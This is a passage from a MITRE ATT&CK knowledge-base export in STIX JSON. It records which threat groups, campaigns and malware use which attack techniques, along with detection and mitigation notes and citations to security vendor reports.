ten-year journey. Retrieved June 15, 2020."}, {"source_name": "ESET Turla PowerShell May 2019", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}], "modified": "2020-06-29T03:33:39.232Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, the Program Files directory, and Recent.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also searched for files matching the <code>lPH*.dll</code> pattern.(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fa66467a-e6d8-49ff-add1-8e5c5e4ef1db", "created": "2023-03-26T16:26:30.469Z", "revoked": false, "external_references": [{"source_name": "Microsoft Deep Dive Solorigate January 2021", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.", "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T16:26:30.469Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used `netsh` to configure firewall rules that limited certain UDP outbound packets.(Citation: Microsoft Deep Dive Solorigate January 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fa68575d-4ffa-4532-a973-3506540e5c2e", "created": "2024-03-06T19:30:56.710Z", "revoked": false, "external_references": [{"source_name": "Volexity Ivanti Zero-Day Exploitation January 2024", "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.", "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-06T19:30:56.710Z", "description": "(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "malware--554e010d-726b-439d-9a1a-f60fff0cc109", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa69ac7a-8031-4fac-91e2-65e90f378cd1", "type": "relationship", "created": "2020-06-11T19:52:07.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-06-11T19:52:07.273Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) has spread its coinminer via SSH.(Citation: Anomali Rocke March 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa6bb182-28e8-4293-90ba-ee9a5c23d45b", "type": "relationship", "created": "2021-08-18T18:52:48.114Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}], "modified": "2021-08-19T16:54:10.866Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used external remote services such as virtual private networks (VPN) to gain initial access.(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa6e0dbf-a53f-4763-abeb-bc0cf0f30b9a", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Monitor for changes made to services for unexpected modifications to names, descriptions, and/or start types", "source_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa6f0d89-8a80-421b-bcb1-ef5ee31f0879", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint Leviathan Oct 2017", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}], "modified": "2019-09-16T18:01:16.151Z", "description": "Some [Orz](https://attack.mitre.org/software/S0229) strings are base64 encoded, such as the embedded DLL known as MockDll.(Citation: Proofpoint Leviathan Oct 2017)", "relationship_type": "uses", "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa6f9dc7-e984-411a-9ce4-a822d4213bc6", "type": "relationship", "created": "2021-12-06T15:30:05.925Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-06T15:30:05.925Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has used batch scripts to enumerate users on a victim domain controller.(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa717a25-6be4-4cfd-ba02-1adc633f80ba", "type": "relationship", "created": "2020-03-20T00:00:19.103Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PowerSploit May 2012", "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", "url": "https://github.com/PowerShellMafia/PowerSploit"}, {"source_name": "PowerSploit Documentation", "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", "url": "http://powersploit.readthedocs.io"}], "modified": "2020-03-20T00:00:19.103Z", "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)", "relationship_type": "uses", "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa71c737-b017-47ff-bf2a-942643677ff0", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "source_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da", "target_ref": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa7381ff-f2b8-4878-a9a0-10a703c7a5dd", "type": "relationship", "created": "2020-05-01T20:05:15.991Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.554Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has attempted to install a scheduled task named \u201cJava Maintenance64\u201d on startup to establish persistence.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa745ba0-428f-4c3c-84be-e333f659690f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html", "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", "source_name": "FireEye FELIXROOT July 2018"}], "modified": "2020-03-17T01:16:25.944Z", "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) deletes the .LNK file from the startup directory as well as the dropper components.(Citation: FireEye FELIXROOT July 2018)", "relationship_type": "uses", "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fa755fbd-3f98-4795-ba15-d1f80983b4d6", "created": "2024-03-07T20:54:03.323Z", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. 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Retrieved August 4, 2021."}], "modified": "2021-08-04T15:49:35.794Z", "description": "(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "malware--96eca9b9-b37f-42f1-96dc-a2c441403194", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fab558cd-cb4a-4e7a-a3c7-184bee680019", "type": "relationship", "created": "2020-02-04T12:52:13.341Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-12T18:32:33.066Z", "description": "Establish an organizational policy that prohibits password storage in files.", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fab721f4-26c2-4aac-9bb4-853864534c55", "created": "2022-09-08T13:48:36.934Z", "revoked": false, "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. 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(2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}], "modified": "2020-05-22T20:04:15.481Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used SQL injection for initial compromise.(Citation: Symantec Chafer February 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fabd053f-487c-404f-b1b0-b090e442ff83", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. 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Retrieved November 25, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) researched Ukraine's unique legal entity identifier (called an \"EDRPOU\" number), including running queries on the EDRPOU website, in preparation for the [NotPetya](https://attack.mitre.org/software/S0368) attack. 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(2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-26T20:14:12.742Z", "description": "[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has injected content into DNS, HTTP, and SMB replies to redirect specifically-targeted victims to a fake Windows Update page to download malware.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28", "target_ref": "attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fac88cac-2935-4c68-af9f-c16fb93d6eac", "type": "relationship", "created": "2020-04-28T12:47:25.827Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. 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Retrieved April 27, 2020."}], "modified": "2020-04-28T12:47:25.828Z", "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used a Python tool named klog.exe for keylogging.(Citation: Talos PoetRAT April 2020)", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--faccd8d5-0e21-4e57-aef9-1ccf72150294", "type": "relationship", "created": "2020-05-06T21:01:23.666Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Attor Oct 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.666Z", "description": "[Attor](https://attack.mitre.org/software/S0438) monitors the free disk space on the system.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--facd3eca-9156-47a8-85d1-09719bc0eb88", "type": "relationship", "created": "2019-03-26T13:38:24.603Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "LogRhythm WannaCry", "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/", "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."}, {"description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "source_name": "FireEye WannaCry 2017"}], "modified": "2019-04-22T11:43:33.449Z", "description": "[WannaCry](https://attack.mitre.org/software/S0366) creates the service \"mssecsvc2.0\" with the display name \"Microsoft Security Center (2.0) Service.\"(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)", "relationship_type": "uses", "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fad2a504-6e00-4892-bf88-b49d6d18788c", "created": "2017-05-31T21:33:27.031Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.691Z", "description": "[Axiom](https://attack.mitre.org/groups/G0001) has been known to dump credentials.(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fad44d26-02a8-4cdc-b566-5e24f32a93b3", "type": "relationship", "created": "2017-05-31T21:33:27.056Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DustySky", "description": "ClearSky. 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(2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}], "modified": "2020-03-20T01:52:07.175Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) can launch a command shell interface for executing commands.(Citation: Fidelis njRAT June 2013)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fada6223-ba24-4c26-aa89-3998f07604f9", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Operation Groundbait", "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. 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(2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}], "modified": "2019-02-12T21:14:11.275Z", "description": "[OceanSalt](https://attack.mitre.org/software/S0346) has been delivered via spearphishing emails with Microsoft Office attachments.(Citation: McAfee Oceansalt Oct 2018)", "relationship_type": "uses", "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--faf41333-e316-45ea-8f52-faa98b4683d5", "created": "2024-04-17T18:35:19.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SocGholish-update", "description": "Andrew Northern. (2022, November 22). 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb0a3153-dbd8-4f32-8583-6a7e2fade337", "type": "relationship", "created": "2020-07-17T15:48:51.575Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CME Github September 2018", "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference", "description": "byt3bl33d3r. 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(2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.553Z", "description": "(Citation: FireEye APT41 Aug 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb11df98-790a-4b1c-9ca0-73224226cff3", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. 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Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[RCSession](https://attack.mitre.org/software/S0662) can use `cmd.exe` for execution on compromised hosts.(Citation: Trend Micro DRBControl February 2020)", "modified": "2022-04-11T16:17:03.117Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--03acae53-9b98-46f6-b204-16b930839055", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6", "type": "relationship", "created": "2017-05-31T21:33:27.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. 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Retrieved December 4, 2015.", "source_name": "FireEye admin@338"}], "modified": "2020-03-17T18:55:18.857Z", "description": "Following exploitation with [LOWBALL](https://attack.mitre.org/software/S0042) malware, [admin@338](https://attack.mitre.org/groups/G0018) actors created a file containing a list of commands to be executed on the compromised computer.(Citation: FireEye admin@338)", "relationship_type": "uses", "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb6ffb5c-5405-4515-a120-7a34414933ea", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto OilRig April 2017", "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/"}, {"description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.", "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/", "source_name": "Unit42 OilRig Nov 2018"}], "modified": "2019-09-04T22:55:41.337Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion.(Citation: Palo Alto OilRig April 2017)(Citation: Unit42 OilRig Nov 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fb719ee1-0be9-41c5-bb52-56c033091e99", "type": "relationship", "created": "2021-01-13T18:32:09.100Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Pawn Storm 2019", "url": "https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf", "description": "Hacquebord, F. (n.d.). Pawn Storm in 